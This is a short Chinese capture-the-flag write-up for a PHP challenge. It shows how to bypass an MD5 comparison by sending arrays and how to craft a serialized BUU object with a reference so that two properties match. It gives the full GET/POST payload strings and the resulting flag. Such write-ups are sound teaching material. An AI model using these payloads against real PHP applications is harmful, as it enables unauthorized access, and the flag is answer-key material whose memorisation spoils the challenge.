考点:绕过md5加密和反序列化
打开
1 |
|
分析
一道反序列化题,分析代码后,要拿到flag,必须要达到下面几个条件。
$_GET['pleaseget']===1
$_POST['pleasepost']===2
md5($_POST['md51'])==md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']
$this->correct === $this->input
第一个和第二个条件很简单不用说,只需要提交对应的参数和参数值即可。
第三个条件,可以用数组绕过MD5加密,数组进行MD5加密会返回false。
构造md51[]=1&md52[]=2
即可绕过
这才来到最关键的地方,如何在序列化前让$this->correct === $this->input
呢?,我们创建BUU类后,重新给$this->correct 赋值成 $this->input的值。
1 | $b1 = new BUU(); |
1 | O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} # 得到序列化后的内容 |
提交
get
1 | ?pleaseget=1 |
post
1 | pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} |
拿到flag
1 | flag{0f14da5c-5e42-49c2-b2e3-5ee2f9f1e285} |